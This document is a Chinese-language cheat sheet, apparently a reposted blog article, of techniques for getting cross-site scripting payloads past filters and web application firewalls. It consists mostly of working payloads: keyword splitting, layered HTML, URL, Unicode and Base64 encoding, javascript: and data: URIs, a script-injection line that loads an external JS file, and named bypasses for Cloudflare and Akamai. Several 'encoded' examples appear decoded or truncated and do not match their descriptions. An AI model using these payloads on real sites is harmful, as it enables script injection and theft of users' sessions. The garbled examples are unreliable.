绕过XSS过滤姿势总结
0x00 XSS基本测试流程
原则是“见框就插”,多动⼿,这⾥分享⼏个经典测试payload:
"><svg/onload=alert(1)//
具体引⽤外部js的代码姿势是:
<svg/onload=s=createElement('script');body.appendChild(s);s.src='js地址'//
在⽕狐浏览器下查看的效果(浏览器解析时会⾃动加上引号):
<a href="javascript:alert(1)" >click me</a>      //a标签伪协议执⾏
<a href="data:text/html;base64,这⾥跟着base64之后的js代码">click here</a>        //data引⽤外域资源
外域获取cookie,据我所知只有⽕狐才可以了,这⾥涉及同源策略相关知识。
具体情况还需要具体分析,⼀定要记住 灵活构造 才是XSS最核⼼的东西!
下⾯,我总结了针对不同的防护措施,可采取的绕过姿势,即是本⽂的重点。
0x01 弹窗关键字检测绕过
基本WAF都针对常⽤的弹窗函数做了拦截,如alert()、prompt()、confirm(),另外还有代码执⾏函数eval(),想要绕过去也⽐较简单,我们以alert(‘xss’)为例,其实只需要分割alert和()即可,例如:
添加空格、TAB、回车、换⾏:alert%20(/xss/)、alert%0A(/xss/)、alert%0D(/xss/)、alert%09(/xss/)
添加多⾏注释:alert/*abcd*/(/xss/)
添加注释换⾏:alert//abcd%0A(/xss/)、confirm//abcd%0D(/xss/)
使⽤''代替():alert'xss'
使⽤括号分割:(alert)(/xss/)、((alert))(/xss/)
使⽤window和top:
<img src=x onerror="window['al'+'ert'](0)"></img>
<img src=x onerror="window.alert(0)"></img>
<img src=x onerror="top['al'+'ert'](0)"></img>
<img src=x onerror="top.alert(0)"></img>
另外还可以通过以下⽅式绕过WAF:
<input/onfocus=_=alert,_(123)>
<input/onfocus=_=alert,xx=1,_(123)>
<input/onfocus=_=alert;_(123)>
<input/onfocus=_=alert;xx=1;_(123)>
<input/onfocus=_=window['alert'],_(123)>
<input/onfocus=_=window.alert,_(123)>
<input/%00/autofocus=""/%00/onfocus=.1|alert`XSS`>
另外还可以通过异常处理
<svg/onload="r=eval;throw'=alert\x281\x29';">
eval(string)参数为字符串,可以拼接关键字绕过检测。
<svg/onload=eval('ale'+'rt(1)')>
另外跳转中也可以使⽤关键字拼接
<svg/onload=location='javas'+'cript:ale'+'rt(1)'>
<svg/onload=window.location='javas'+'cript:ale'+'rt(1)'>
<svg/onload=location.href='javas'+'cript:ale'+'rt(1)'>
<svg/onload=window.open('javas'+'cript:ale'+'rt(1)')>
<svg/onload=location='javas'.concat('cript:ale','rt(1)')>
iframe参数传递
0x02 编码绕过
html实体编码
<iframe src=javascript:alert(1)>
html标签中⽀持⼗进制,例如:
<iframe src=javascript:alert(1)>
⼗六进制,例如:
<iframe src=javascript:alert(1)>可以不带分号
<iframe src=javascript:alert(1)>
可以填充0
<iframe src=javascript:al& #x00065rt(1)>
绕过关键字过滤
1.<iframe src=javas cript:alert(1)></iframe> //Tab
2.<iframe src=javas cript:alert(1)></iframe> //回车
3.<iframe src=javas cript:alert(1)></iframe> //换⾏
4.<iframe src=javascript:alert(1)></iframe> //编码冒号
5.<iframe src=javasc ript:alert(1)></iframe> //HTML5 新增的实体命名编码,IE6、7下不⽀持
URL编码
<a href="{here}">xx</a>
<iframe src="{here}">
当输出环境在href或者src时,是可以通过javascript伪协议来执⾏JS的,例如
<iframe src=”javascript:alert(1)”>test</iframe>
同样src中是可以进⾏URL编码的,需要注意协议头javascript:不能编码,否则JS⽆法执⾏。
<a href="javascript:%61%6c%65%72%74%28%31%29">xx</a>
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
可以⼆次URL编码
<iframe src="javascript:%2561%256c%2565%2572%2574%2528%2531%2529"></iframe>
这⾥结合⼀下上⾯说16进制编码
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
Unicode编码
<input onfocus=location="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus>
<input onfocus=\u0061\u006C\u0065\u0072\u0074(1) autofocus>
另外还有⼋进制和⼗六进制
1.<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
2.<svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
3.<svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>
4.<script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
5.<script>eval("\141\154\145\162\164\050\061\051")</script>
6.<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
有的WAF拦截了eval()同样可以使⽤上⾯提到的alert()绕过的⽅式,如注释、注释换⾏等
同样也可以使⽤window[‘eval’]
1.<script>window['eval']("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
2.<script>window['eval']("\141\154\145\162\164\050\061\051")</script>
3.<script>window['eval']("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
Base64编码
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>
<iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>
需要注意内容是可以做实体编码。不影响XSS执⾏。
1.<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
2.<iframe srcdoc="<script>alert(1)</script>"></iframe>
另外还可以使⽤atob函数
1.<a%20href=javascript:eval(atob('YWxlcnQoMSk='))>Click</a>
2.<a%20href=javascript:eval(window.atob('YWxlcnQoMSk='))>Click</a>
3.<a%20href=javascript:eval(window['atob']('YWxlcnQoMSk='))>Click</a>
其他
String.fromCharCode:
<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>Click</a>
这⾥针对HTML编码、URL编码、Unicode编码还涉及到⼀个解码顺序的问题:
我们以<a href=javascript:alert(1)>Click</a>为例
根据上⾯的例⼦,我们可以使⽤三种编码:
HTML编码:
<a href=javascript:alert(1)>Click</a> Unicode编码:
<a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>
URL编码:
<a href=javascript:%2561%256c%2565%2572%2574%2528%2531%2529>Click</a>
然后我们把这三种解码结合起来:Unicode编码 -> URL编码 -> HTML编码
<a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37
%34(1)>Click</a>
<a href=javascript:%5c%75%30%3
0%36%31%5c%75%30%30%36%43
%5c%75%30%30%36%35%5c%75%
30%30%37%32%5c%75%30%30%3
7%34(1)>Click</a>
发现同样是可以弹窗的。
0x03 引⼊外部JS
通过在<script>标签中引⼊其他字符绕过
1.<script/src='1.js'/~~234*234></script ~~234*234>
4. //SSI
5.<link%20rel=import%20href="2.js">
0x04 OWASP备忘录
0x05 其他收集
0x06 推特收集
1.
JavaScript://%250Aalert?.(1)//
'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!-->
</Title/</Style/</Script/</textArea/</iFrame/</noScript>
\74k<K/contentEditable/autoFocus/OnFocus=
/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->
参考:
2.绕过CloudFlare waf Payload
<svg onload=kie)>
3.HTTP参数污染
绕过 Akamai WAF ASP样式HTTP参数污染反射XSS(仅限 Chrome)?id=1&id=2  -->  <input value="1,2">
?id="&id=onpointerrawupdate="a=confirm&id=a(1)
-->
<input value="", onpointerrawupdate="a=confirm, a(1)">
附编码转换⼯具:
注:XSS漏洞原理以及防护原理详见:

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。